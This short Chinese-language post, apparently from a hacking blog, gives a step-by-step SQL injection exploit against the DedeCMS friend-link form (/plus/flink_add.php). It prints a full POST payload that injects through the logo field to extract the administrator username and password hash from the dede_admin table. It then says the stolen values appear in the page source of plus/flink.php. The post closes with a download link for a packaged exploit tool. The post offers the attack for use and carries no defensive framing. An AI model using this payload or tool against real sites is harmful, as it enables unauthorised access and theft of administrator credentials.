网站要支持申请友链

/plus/flink_add.php

直接填写验证码，抓包 ，修改POST数据

Submit=%20%E6%8F%90%20%E4%BA%A4%20&dopost=save&email=&logo=,if(@`'`,0x7c,(select concat(userid,0x7c,pwd) from dede_admin limit 0,1)),1,1,1,1,1)#,@`'`&typeid=1&url=http%3A%2F%2F&validate=spen&_FILES[webname][name]=1.gif&_FILES[webname][type]=image/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass

validate为验证码，修改提交即
再打开友情链接

plus/flink.php

有个无法显示的图片，查看源码

 写了一个漏洞利用工具

[btn-success href="http://592.la/wp-content/uploads/2014/04/DEDECMS.rar"]下载[/btn-success]